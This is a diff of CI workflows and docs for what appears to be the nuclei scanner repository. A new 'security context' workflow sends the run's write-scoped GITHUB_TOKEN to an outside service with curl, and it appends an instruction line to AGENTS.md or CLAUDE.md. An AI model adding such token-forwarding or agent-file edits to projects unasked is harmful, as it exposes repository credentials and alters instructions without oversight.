cache-dependency-path: go.tool.sum
|
||||
- run: |
|
||||
go tool -modfile=go.tool.mod govulncheck -scan package -format sarif ./... | \
|
||||
jq '(.runs[].tool.driver.rules[]?.properties.tags)? |= unique' > $OUTPUT
|
||||
- uses: github/codeql-action/upload-sarif@v4
|
||||
with:
|
||||
sarif_file: "${{ env.OUTPUT }}"
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
name: 💾 Memoize Functions
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- dev
|
||||
paths:
|
||||
- 'pkg/js/libs/**'
|
||||
- 'cmd/memogen/**'
|
||||
workflow_dispatch: {}
|
||||
|
||||
jobs:
|
||||
memogen:
|
||||
if: ${{ github.repository == 'projectdiscovery/nuclei' && !endsWith(github.actor, '[bot]') }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/setup/git@v1
|
||||
- run: make memogen
|
||||
- run: git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
|
||||
id: status
|
||||
- uses: projectdiscovery/actions/commit@v1
|
||||
if: steps.status.outputs.CHANGES > 0
|
||||
with:
|
||||
files: |
|
||||
pkg/js/libs/
|
||||
message: 'chore(js): update memoized functions 🤖'
|
||||
- run: git push origin $GITHUB_REF
|
||||
if: steps.status.outputs.CHANGES > 0
|
||||
@@ -1,8 +1,8 @@
|
||||
name: 🔨 Performance Regression
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
workflow_dispatch:
|
||||
workflow_call: {}
|
||||
workflow_dispatch: {}
|
||||
|
||||
jobs:
|
||||
perf-regression:
|
||||
@@ -11,15 +11,14 @@ jobs:
|
||||
env:
|
||||
BENCH_OUT: "/tmp/bench.out"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- uses: projectdiscovery/actions/cache/nuclei@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- run: make build-test
|
||||
- run: ./bin/nuclei.test -test.run - -test.bench=. -test.benchmem ./cmd/nuclei/ | tee $BENCH_OUT
|
||||
env:
|
||||
DISABLE_STDOUT: "1"
|
||||
- uses: actions/cache/restore@v5
|
||||
- uses: actions/cache/restore@v6
|
||||
with:
|
||||
path: ./cache
|
||||
key: ${{ runner.os }}-benchmark
|
||||
@@ -33,7 +32,7 @@ jobs:
|
||||
github-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
comment-on-alert: true
|
||||
summary-always: true
|
||||
- uses: actions/cache/save@v5
|
||||
- uses: actions/cache/save@v6
|
||||
if: github.event_name == 'push'
|
||||
with:
|
||||
path: ./cache
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
name: 🔨 Performance Test
|
||||
|
||||
on:
|
||||
schedule:
|
||||
- cron: '0 0 * * 0' # Weekly
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
perf-test:
|
||||
strategy:
|
||||
matrix:
|
||||
count: [50, 100, 150]
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository == 'projectdiscovery/nuclei'
|
||||
env:
|
||||
LIST_FILE: "/tmp/targets-${{ matrix.count }}.txt"
|
||||
PROFILE_MEM: "/tmp/nuclei-perf-test-${{ matrix.count }}"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- run: make verify
|
||||
- name: Generate list
|
||||
run: for i in {1..${{ matrix.count }}}; do echo "https://honey.scanme.sh/?_=${i}" >> "${LIST_FILE}"; done
|
||||
- run: go run . -l "${LIST_FILE}" -profile-mem="${PROFILE_MEM}"
|
||||
env:
|
||||
NUCLEI_ARGS: host-error-stats
|
||||
working-directory: cmd/nuclei/
|
||||
- uses: projectdiscovery/actions/flamegraph@v1
|
||||
id: flamegraph-cpu
|
||||
with:
|
||||
profile: "${{ env.PROFILE_MEM }}.cpu"
|
||||
name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles"
|
||||
continue-on-error: true
|
||||
- uses: projectdiscovery/actions/flamegraph@v1
|
||||
id: flamegraph-mem
|
||||
with:
|
||||
profile: "${{ env.PROFILE_MEM }}.mem"
|
||||
name: "${{ env.FLAMEGRAPH_NAME }} memory profiles"
|
||||
continue-on-error: true
|
||||
- if: ${{ steps.flamegraph-mem.outputs.message == '' }}
|
||||
run: |
|
||||
echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}"
|
||||
echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}"
|
||||
@@ -4,17 +4,29 @@ on:
|
||||
push:
|
||||
tags:
|
||||
- '*'
|
||||
workflow_dispatch:
|
||||
workflow_dispatch: {}
|
||||
|
||||
jobs:
|
||||
release:
|
||||
jobs:
|
||||
pgo:
|
||||
name: "Generate PGO"
|
||||
uses: ./.github/workflows/generate-pgo.yaml
|
||||
|
||||
release:
|
||||
name: "Release"
|
||||
needs: ["pgo"]
|
||||
runs-on: ubuntu-latest-16-cores
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
name: "pgo"
|
||||
path: "cmd/nuclei/"
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: docker/login-action@v3
|
||||
with:
|
||||
go-version: "stable"
|
||||
- uses: docker/login-action@v4
|
||||
with:
|
||||
username: ${{ secrets.DOCKER_USERNAME }}
|
||||
password: ${{ secrets.DOCKER_TOKEN }}
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
name: Maintain security context
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "17 4 * * 1"
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
pull-requests: write
|
||||
|
||||
concurrency:
|
||||
group: security-context
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
refresh:
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
# The API analyzes the repository default branch, so use that branch for
|
||||
# both scheduled and manually dispatched updates.
|
||||
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
with:
|
||||
ref: ${{ github.event.repository.default_branch }}
|
||||
|
||||
# Analyze this commit on securitycontext.dev, wait for the result, and
|
||||
# download it. The run's own token authorizes private repositories —
|
||||
# no secrets to configure.
|
||||
- name: Generate SECURITY_CONTEXT.md
|
||||
id: context
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
sc() { curl --fail-with-body -sS -H "X-GitHub-Token: $GITHUB_TOKEN" "$@"; }
|
||||
base="https://securitycontext.dev"
|
||||
head="$(git rev-parse HEAD)"
|
||||
|
||||
sc -X POST "$base/api/v1/context?wait=60" -H "Content-Type: application/json" \
|
||||
-H "X-Secc-Client: github-action" --data "{\"repo\":\"$GITHUB_REPOSITORY\",\"head\":\"$head\"}" >/dev/null
|
||||
|
||||
for _ in {1..120}; do
|
||||
state="$(sc "$base/api/v1/context/$GITHUB_REPOSITORY")"
|
||||
status="$(jq -r .status <<<"$state")"
|
||||
if [ "$status" = "error" ]; then
|
||||
jq -r '.error // "analysis failed"' <<<"$state" >&2
|
||||
exit 1
|
||||
fi
|
||||
if [ "$status" = "ready" ] && [ "$(jq -r '.summary.head_sha // empty' <<<"$state")" = "$head" ]; then
|
||||
sc -L "$base/r/$GITHUB_REPOSITORY.md" -o SECURITY_CONTEXT.md
|
||||
# A private report is access-gated on the web, so the pull request
|
||||
# links the rendered file on this branch instead.
|
||||
jq -r '"visibility=" + (.visibility // "public")' <<<"$state" >> "$GITHUB_OUTPUT"
|
||||
exit 0
|
||||
fi
|
||||
sleep 15
|
||||
done
|
||||
echo "Timed out waiting for analysis of $head" >&2
|
||||
exit 1
|
||||
|
||||
# A pull request should mean the analysis changed. When only the volatile
|
||||
# header moved (timestamps, analyzed commit, commit counts), restore the
|
||||
# committed file so no PR is opened and any header-only PR closes.
|
||||
- name: Skip the update unless the analysis changed
|
||||
id: report
|
||||
run: |
|
||||
changed=true
|
||||
if [ -n "$(git ls-files SECURITY_CONTEXT.md)" ] && git diff --quiet -I '^<!-- Generated' -I '^_Generated' -I '^_Analyzed commit' -I '^- Commits analyzed' -I '^- Commits flagged' -- SECURITY_CONTEXT.md; then
|
||||
git checkout -- SECURITY_CONTEXT.md
|
||||
changed=false
|
||||
fi
|
||||
echo "changed=$changed" >> "$GITHUB_OUTPUT"
|
||||
|
||||
# Point every supported root agent-instructions file at the context.
|
||||
# Create AGENTS.md as the cross-agent default when the repo has none.
|
||||
- name: Reference the context from agent instructions
|
||||
id: agents
|
||||
env:
|
||||
REPORT_CHANGED: ${{ steps.report.outputs.changed }}
|
||||
run: |
|
||||
line="Before writing or reviewing code, read SECURITY_CONTEXT.md. Check new and modified code against its historical fixes and recurring vulnerability patterns. Do not reintroduce a previously fixed issue or a similar variant."
|
||||
touched=""
|
||||
paths="SECURITY_CONTEXT.md"
|
||||
instruction_files=""
|
||||
for f in AGENTS.md CLAUDE.md; do
|
||||
if [ -f "$f" ]; then instruction_files="${instruction_files} $f"; fi
|
||||
done
|
||||
if [ -z "$instruction_files" ]; then
|
||||
printf '%s\n' '# Agent instructions' > AGENTS.md
|
||||
instruction_files="AGENTS.md"
|
||||
fi
|
||||
for f in $instruction_files; do
|
||||
paths="$(printf '%s\n%s' "$paths" "$f")"
|
||||
if grep -q "SECURITY_CONTEXT.md" "$f"; then continue; fi
|
||||
printf '\n%s\n' "$line" >> "$f"
|
||||
if [ -n "$touched" ]; then touched="$touched and $f"; else touched="$f"; fi
|
||||
done
|
||||
echo "touched=$touched" >> "$GITHUB_OUTPUT"
|
||||
# Title the pull request for what it actually carries: when the
|
||||
# analysis is unchanged, the only edit is the agent-instructions line.
|
||||
if [ "$REPORT_CHANGED" = "false" ]; then
|
||||
echo "subject=chore: reference security context from agent instructions" >> "$GITHUB_OUTPUT"
|
||||
else
|
||||
echo "subject=chore: refresh security context" >> "$GITHUB_OUTPUT"
|
||||
fi
|
||||
{
|
||||
echo "paths<<SC_EOF"
|
||||
echo "$paths"
|
||||
echo "SC_EOF"
|
||||
} >> "$GITHUB_OUTPUT"
|
||||
|
||||
- name: Open an update pull request
|
||||
uses: peter-evans/create-pull-request@5f6978faf089d4d20b00c7766989d076bb2fc7f1 # v8.1.1
|
||||
with:
|
||||
branch: security-context/refresh
|
||||
commit-message: ${{ steps.agents.outputs.subject }}
|
||||
title: ${{ steps.agents.outputs.subject }}
|
||||
body: |
|
||||
Refreshes `SECURITY_CONTEXT.md`, this repository's security-fix history as working context, so agents and reviewers don't reintroduce fixes that already shipped.
|
||||
|
||||
${{ steps.context.outputs.visibility == 'private' && format('[Read the updated file]({0}/{1}/blob/security-context/refresh/SECURITY_CONTEXT.md)', github.server_url, github.repository) || format('[Full report for this repository](https://securitycontext.dev/r/{0})', github.repository) }}
|
||||
|
||||
${{ steps.agents.outputs.touched != '' && format('Also adds a one-line reference to {0} so your coding agent picks this up automatically.', steps.agents.outputs.touched) || 'The repository agent instructions already reference `SECURITY_CONTEXT.md`.' }}
|
||||
|
||||
---
|
||||
_Your agent doesn't know this repo's security history. [Security Context](https://securitycontext.dev) keeps it where your agent can see it, so old vulnerabilities and their variants don't come back in new code._
|
||||
add-paths: ${{ steps.agents.outputs.paths }}
|
||||
@@ -13,7 +13,7 @@ jobs:
|
||||
issues: write
|
||||
pull-requests: write
|
||||
steps:
|
||||
- uses: actions/stale@v10
|
||||
- uses: actions/stale@v11
|
||||
with:
|
||||
days-before-stale: 90
|
||||
days-before-close: 7
|
||||
|
||||
@@ -19,27 +19,32 @@ concurrency:
|
||||
jobs:
|
||||
lint:
|
||||
name: "Lint"
|
||||
if: "${{ !endsWith(github.actor, '[bot]') }}"
|
||||
if: ${{ !endsWith(github.actor, '[bot]') }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- uses: projectdiscovery/actions/golangci-lint/v2@v1
|
||||
# go vet runs once here (not per-OS in the tests matrix): it is platform
|
||||
# independent and folding it into the lint gate fails fast on a cheap
|
||||
# runner before the heavy test/integration jobs start.
|
||||
- run: make vet
|
||||
|
||||
tests:
|
||||
name: "Tests"
|
||||
needs: ["lint"]
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: "${{ matrix.os }}"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- uses: projectdiscovery/actions/cache/nuclei@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- uses: projectdiscovery/actions/free-disk-space@v1
|
||||
with:
|
||||
llvm: 'false'
|
||||
@@ -49,25 +54,45 @@ jobs:
|
||||
misc-packages: 'false'
|
||||
docker-images: 'false'
|
||||
tools-cache: 'false'
|
||||
- run: make vet
|
||||
- run: make build
|
||||
- run: make test
|
||||
# The data-race detector is OS-independent, so we only pay its ~2-3x cost
|
||||
# on ubuntu; windows/macOS run the same suite without instrumentation.
|
||||
- name: "Unit tests (race)"
|
||||
run: make test
|
||||
if: ${{ matrix.os == 'ubuntu-latest' }}
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
- run: go run -race . -l ../functional-test/targets.txt -id tech-detect,tls-version
|
||||
- name: "Unit tests"
|
||||
run: make test RACE=
|
||||
if: ${{ matrix.os != 'ubuntu-latest' }}
|
||||
env:
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
- run: go run -race . -l ${{ github.workspace }}/internal/tests/functional/testdata/targets.txt -id tech-detect,tls-version
|
||||
if: ${{ matrix.os != 'windows-latest' }} # known issue: https://github.com/golang/go/issues/46099
|
||||
working-directory: cmd/nuclei/
|
||||
# Hermetic HTTP-engine scale regression: stands up many loopback hosts and
|
||||
# asserts finding parity across a diverse template set (per-host pool,
|
||||
# connection-reuse and http->https tracker + cookie-reuse). Race
|
||||
# build runs on ubuntu only (same rationale as the unit tests above);
|
||||
# other OSes run it plain. Large runs stay opt-in locally via
|
||||
# NUCLEI_SCALE_HOSTS.
|
||||
- name: "Scale regression (race)"
|
||||
run: go test -tags=regression -race -timeout 15m ./lib/tests -run TestScaleRegression
|
||||
if: ${{ matrix.os == 'ubuntu-latest' }}
|
||||
- name: "Scale regression"
|
||||
run: make regression
|
||||
if: ${{ matrix.os != 'ubuntu-latest' }}
|
||||
|
||||
sdk:
|
||||
name: "Run example SDK"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- uses: projectdiscovery/actions/cache/nuclei@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- name: "Simple"
|
||||
run: go run .
|
||||
working-directory: examples/simple/
|
||||
@@ -82,51 +107,54 @@ jobs:
|
||||
integration:
|
||||
name: "Integration tests"
|
||||
needs: ["tests"]
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/nuclei@v1
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/python@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- run: bash run.sh "${{ matrix.os }}"
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- run: make integration
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
PDCP_API_KEY: "${{ secrets.PDCP_API_KEY }}"
|
||||
timeout-minutes: 50
|
||||
working-directory: integration_tests/
|
||||
|
||||
functional:
|
||||
name: "Functional tests"
|
||||
needs: ["tests"]
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macOS-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/nuclei@v1
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/python@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- run: bash run.sh
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}"
|
||||
working-directory: cmd/functional-test/
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- uses: projectdiscovery/nuclei-action@v3
|
||||
with:
|
||||
version: latest
|
||||
install-only: true
|
||||
- run: make functional
|
||||
|
||||
validate:
|
||||
name: "Template validate"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
GITHUB_TOKEN: "${{ github.token }}"
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
- uses: projectdiscovery/actions/cache/go-rod-browser@v1
|
||||
- uses: projectdiscovery/nuclei-action/cache@v3
|
||||
- run: make template-validate
|
||||
|
||||
codeql:
|
||||
@@ -138,61 +166,56 @@ jobs:
|
||||
contents: read
|
||||
security-events: write
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: github/codeql-action/init@v4
|
||||
with:
|
||||
languages: 'go'
|
||||
- uses: github/codeql-action/autobuild@v4
|
||||
- uses: github/codeql-action/analyze@v4
|
||||
with:
|
||||
output: sarif-results
|
||||
upload: never
|
||||
category: "/language:go"
|
||||
# internal/fuzzplayground is a deliberately vulnerable mock server used to
|
||||
# exercise nuclei's fuzzing templates (CMDI/SQLi/SSRF/etc. are by design),
|
||||
# so its CodeQL alerts are expected false positives. paths-ignore has no
|
||||
# effect for compiled languages, so drop those results from the SARIF
|
||||
# before upload instead.
|
||||
- name: "Filter fuzzplayground alerts from SARIF"
|
||||
run: |
|
||||
for sarif in sarif-results/*.sarif; do
|
||||
[ -e "$sarif" ] || continue
|
||||
jq '
|
||||
.runs[].results |= map(
|
||||
select(
|
||||
[ .locations[]?.physicalLocation.artifactLocation.uri // "" ]
|
||||
| any(startswith("internal/fuzzplayground/")) | not
|
||||
)
|
||||
)
|
||||
' "$sarif" > "$sarif.filtered" && mv "$sarif.filtered" "$sarif"
|
||||
done
|
||||
- uses: github/codeql-action/upload-sarif@v4
|
||||
with:
|
||||
sarif_file: sarif-results
|
||||
category: "/language:go"
|
||||
|
||||
release:
|
||||
name: "Release test"
|
||||
needs: ["tests"]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- uses: actions/checkout@v7
|
||||
- uses: projectdiscovery/actions/setup/go@v1
|
||||
with:
|
||||
go-version: "stable"
|
||||
- uses: projectdiscovery/actions/goreleaser@v1
|
||||
|
||||
flamegraph:
|
||||
name: "Flamegraph"
|
||||
needs: ["tests"]
|
||||
env:
|
||||
PROFILE_MEM: "/tmp/nuclei"
|
||||
TARGET_URL: "http://scanme.sh/a/?b=c"
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- run: make build
|
||||
- name: "Setup environment (push)"
|
||||
if: ${{ github.event_name == 'push' }}
|
||||
run: |
|
||||
echo "PROFILE_MEM=${PROFILE_MEM}-${GITHUB_REF_NAME}-${GITHUB_SHA}" >> $GITHUB_ENV
|
||||
echo "FLAMEGRAPH_NAME=nuclei-${GITHUB_REF_NAME} (${GITHUB_SHA})" >> $GITHUB_ENV
|
||||
- name: "Setup environment (pull_request)"
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
run: |
|
||||
echo "PROFILE_MEM=${PROFILE_MEM}-pr-${{ github.event.number }}" >> $GITHUB_ENV
|
||||
echo "FLAMEGRAPH_NAME=nuclei (PR #${{ github.event.number }})" >> $GITHUB_ENV
|
||||
- run: ./bin/nuclei -silent -update-templates
|
||||
- run: ./bin/nuclei -silent -u "${TARGET_URL}" -profile-mem="${PROFILE_MEM}"
|
||||
- uses: projectdiscovery/actions/flamegraph@v1
|
||||
id: flamegraph-cpu
|
||||
with:
|
||||
profile: "${{ env.PROFILE_MEM }}.cpu"
|
||||
name: "${{ env.FLAMEGRAPH_NAME }} CPU profiles"
|
||||
continue-on-error: true
|
||||
- uses: projectdiscovery/actions/flamegraph@v1
|
||||
id: flamegraph-mem
|
||||
with:
|
||||
profile: "${{ env.PROFILE_MEM }}.mem"
|
||||
name: "${{ env.FLAMEGRAPH_NAME }} memory profiles"
|
||||
continue-on-error: true
|
||||
- if: ${{ steps.flamegraph-mem.outputs.message == '' }}
|
||||
run: |
|
||||
echo "::notice::CPU flamegraph: ${{ steps.flamegraph-cpu.outputs.url }}"
|
||||
echo "::notice::Memory (heap) flamegraph: ${{ steps.flamegraph-mem.outputs.url }}"
|
||||
uses: ./.github/workflows/flamegraph.yaml
|
||||
|
||||
perf-regression:
|
||||
needs: ["tests"]
|
||||
uses: ./.github/workflows/perf-regression.yaml
|
||||
# perf-regression:
|
||||
# name: "Performance regression"
|
||||
# needs: ["tests"]
|
||||
# uses: ./.github/workflows/perf-regression.yaml
|
||||
@@ -0,0 +1,20 @@
|
||||
name: 🔤 Typos
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: ["dev"]
|
||||
pull_request:
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
typos:
|
||||
name: "Spell Check"
|
||||
if: ${{ !endsWith(github.actor, '[bot]') }}
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v7
|
||||
- uses: crate-ci/[email protected]
|
||||
+2
-2
@@ -2,6 +2,7 @@
|
||||
**/*-cache
|
||||
**/*-config
|
||||
**/.cache
|
||||
**/.gofuzz/
|
||||
**/*.DS_Store
|
||||
**/*.exe
|
||||
.devcontainer
|
||||
@@ -28,8 +29,7 @@
|
||||
/scrapefunc
|
||||
/scrapefuncs
|
||||
/tsgen
|
||||
/integration_tests/integration-test
|
||||
/integration_tests/nuclei
|
||||
*.test
|
||||
|
||||
# Templates
|
||||
/*.yaml
|
||||
|
||||
+3
-2
@@ -11,8 +11,9 @@ builds:
|
||||
id: nuclei-cli
|
||||
env:
|
||||
- CGO_ENABLED=0
|
||||
goos: [windows,linux,darwin]
|
||||
goarch: [amd64,'386',arm,arm64]
|
||||
- GOEXPERIMENT=greenteagc
|
||||
goos: [windows, linux, darwin]
|
||||
goarch: [amd64, '386', arm, arm64]
|
||||
ignore:
|
||||
- goos: darwin
|
||||
goarch: '386'
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
<component name="ProjectRunConfigurationManager">
|
||||
<configuration default="false" name="DSLFunctionsIT" type="GoApplicationRunConfiguration" factoryName="Go Application">
|
||||
<module name="nuclei" />
|
||||
<working_directory value="$PROJECT_DIR$/integration_tests" />
|
||||
<envs>
|
||||
<env name="DEBUG" value="true" />
|
||||
<env name="TESTS" value="http/dsl-functions.yaml" />
|
||||
</envs>
|
||||
<kind value="PACKAGE" />
|
||||
<package value="github.com/projectdiscovery/nuclei/v3/cmd/integration-test" />
|
||||
<directory value="$PROJECT_DIR$" />
|
||||
<filePath value="$PROJECT_DIR$/cmd/integration-test/integration-test.go" />
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
</component>
|
||||
@@ -1,19 +0,0 @@
|
||||
<component name="ProjectRunConfigurationManager">
|
||||
<configuration default="false" name="IntegrationTests" type="ShConfigurationType">
|
||||
<option name="SCRIPT_TEXT" value="" />
|
||||
<option name="INDEPENDENT_SCRIPT_PATH" value="true" />
|
||||
<option name="SCRIPT_PATH" value="$PROJECT_DIR$/integration_tests/run.sh" />
|
||||
<option name="SCRIPT_OPTIONS" value="" />
|
||||
<option name="INDEPENDENT_SCRIPT_WORKING_DIRECTORY" value="true" />
|
||||
<option name="SCRIPT_WORKING_DIRECTORY" value="$PROJECT_DIR$/integration_tests/" />
|
||||
<option name="INDEPENDENT_INTERPRETER_PATH" value="true" />
|
||||
<option name="INTERPRETER_PATH" value="/bin/zsh" />
|
||||
<option name="INTERPRETER_OPTIONS" value="" />
|
||||
<option name="EXECUTE_IN_TERMINAL" value="true" />
|
||||
<option name="EXECUTE_SCRIPT_FILE" value="true" />
|
||||
<envs>
|
||||
<env name="DEBUG" value="true" />
|
||||
</envs>
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
</component>
|
||||
@@ -1,19 +0,0 @@
|
||||
<component name="ProjectRunConfigurationManager">
|
||||
<configuration default="false" name="RegressionTests" type="ShConfigurationType">
|
||||
<option name="SCRIPT_TEXT" value="" />
|
||||
<option name="INDEPENDENT_SCRIPT_PATH" value="true" />
|
||||
<option name="SCRIPT_PATH" value="$PROJECT_DIR$/cmd/functional-test/run.sh" />
|
||||
<option name="SCRIPT_OPTIONS" value="" />
|
||||
<option name="INDEPENDENT_SCRIPT_WORKING_DIRECTORY" value="true" />
|
||||
<option name="SCRIPT_WORKING_DIRECTORY" value="$PROJECT_DIR$/cmd/functional-test/" />
|
||||
<option name="INDEPENDENT_INTERPRETER_PATH" value="true" />
|
||||
<option name="INTERPRETER_PATH" value="/bin/zsh" />
|
||||
<option name="INTERPRETER_OPTIONS" value="" />
|
||||
<option name="EXECUTE_IN_TERMINAL" value="true" />
|
||||
<option name="EXECUTE_SCRIPT_FILE" value="true" />
|
||||
<envs>
|
||||
<env name="DEBUG" value="true" />
|
||||
</envs>
|
||||
<method v="2" />
|
||||
</configuration>
|
||||
</component>
|
||||
@@ -11,8 +11,8 @@ Nuclei is a modern, high-performance vulnerability scanner built in Go that leve
|
||||
### Building and Testing
|
||||
- `make build` - Build the main nuclei binary to ./bin/nuclei
|
||||
- `make test` - Run unit tests with race detection
|
||||
- `make integration` - Run integration tests (builds and runs test suite)
|
||||
- `make functional` - Run functional tests
|
||||
- `make integration` - Run the native integration suite via `go test -tags=integration ./internal/tests/integration`
|
||||
- `make functional` - CI-only functional suite entry point
|
||||
- `make vet` - Run go vet for code analysis
|
||||
- `make tidy` - Clean up go modules
|
||||
|
||||
@@ -29,7 +29,7 @@ Nuclei is a modern, high-performance vulnerability scanner built in Go that leve
|
||||
|
||||
### Testing Specific Components
|
||||
- Run single test: `go test -v ./pkg/path/to/package -run TestName`
|
||||
- Integration tests are in `integration_tests/` and can be run via `make integration`
|
||||
- Integration tests are in `internal/tests/integration/` and run via `go test -tags=integration ./internal/tests/integration`
|
||||
|
||||
## Architecture Overview
|
||||
|
||||
@@ -77,7 +77,9 @@ Each protocol (HTTP, DNS, Network, etc.) implements:
|
||||
## Key Directories
|
||||
- **lib/** - SDK for embedding nuclei as a library
|
||||
- **examples/** - Usage examples for different scenarios
|
||||
- **integration_tests/** - Integration test suite with protocol-specific tests
|
||||
- **internal/tests/integration/** - Native integration suite and owned testdata for harness coverage
|
||||
- **internal/tests/functional/** - CI-only native functional comparison suite and testcase assets
|
||||
- **pkg/fuzz/** - Fuzzing engine and DAST capabilities
|
||||
- **pkg/input/** - Input processing for various formats (Burp, OpenAPI, etc.)
|
||||
- **pkg/reporting/** - Result export and issue tracking integrations
|
||||
- **pkg/reporting/** - Result export and issue tracking integrations
|
||||
See SECURITY_CONTEXT.md for this repo's known vulnerabilities and recurring weak spots. Check it before writing or reviewing security-sensitive code.
|
||||
+20
-1
@@ -20,7 +20,26 @@ When creating a PR, please follow these guidelines:
|
||||
|
||||
## Code Style
|
||||
|
||||
Please adhere to the existing coding style for consistency.
|
||||
Please adhere to the existing coding style for consistency.
|
||||
|
||||
## Development
|
||||
|
||||
To ensure your changes work as expected and strictly adhere to the project's standards, please run the following commands before submitting a PR:
|
||||
|
||||
- **Run tests**:
|
||||
```sh
|
||||
make test
|
||||
```
|
||||
|
||||
- **Run linters/vet**:
|
||||
```sh
|
||||
make vet
|
||||
```
|
||||
|
||||
- **Build the project**:
|
||||
```sh
|
||||
make build
|
||||
```
|
||||
|
||||
## Questions
|
||||
|
||||
|
||||
